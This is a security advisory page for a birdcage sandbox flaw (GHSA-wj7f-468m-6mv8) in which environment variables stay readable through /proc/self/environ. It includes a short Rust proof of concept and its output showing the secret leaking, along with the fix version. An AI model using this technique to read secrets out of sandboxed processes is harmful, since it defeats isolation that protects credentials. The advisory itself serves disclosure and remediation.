GHSA-wj7f-468m-6mv8 Environment variables still accessible through /proc
Attackers can read sensitive environment variables from /proc/self/environ within the Birdcage sandbox, bypassing intended isolation.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Local or same network only
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-wj7f-468m-6mv8?
GHSA-wj7f-468m-6mv8 is a vulnerability in birdcage, published on 1 Dec 2023. It can only be exploited from the same machine or local network, with no action from the victim.
Official description
Impact
Environment variables can be read from procfs unless a new process is started.
PoC
use birdcage::{Birdcage, Sandbox};
use std::{env, fs};
fn main() {
Birdcage::new().lock().unwrap();
assert_eq!(env::var_os("SECRET"), None);
let environ = fs::read_to_string("/proc/self/environ").unwrap();
assert!(!environ.contains("SECRET"), "ENVIRON CONTAINS SECRET:\n{environ}");
}
$ SECRET=test cargo run
thread 'main' panicked at src/main.rs:10:5:
ENVIRON CONTAINS SECRET:
[truncated]
Possible Solutions
The simplest solution would be relying on the ptrace isolation and always spawning a new process by changing birdcage's API to create a new command. With an additional PID namespace the guarantees could be even further reinforced.
Which versions are affected by GHSA-wj7f-468m-6mv8?
2 open source packages ship an affected version, including birdcage.
| Package | Affected | Fixed in |
|---|---|---|
birdcage crates.io | All versions | 0.7.0 |
birdcage crates.io | All versions | 0.7.0 |
How do I fix GHSA-wj7f-468m-6mv8?
Upgrade birdcage to 0.7.0 or later.
Is GHSA-wj7f-468m-6mv8 being exploited?
There is no known exploitation of GHSA-wj7f-468m-6mv8 in the wild and no public exploit code.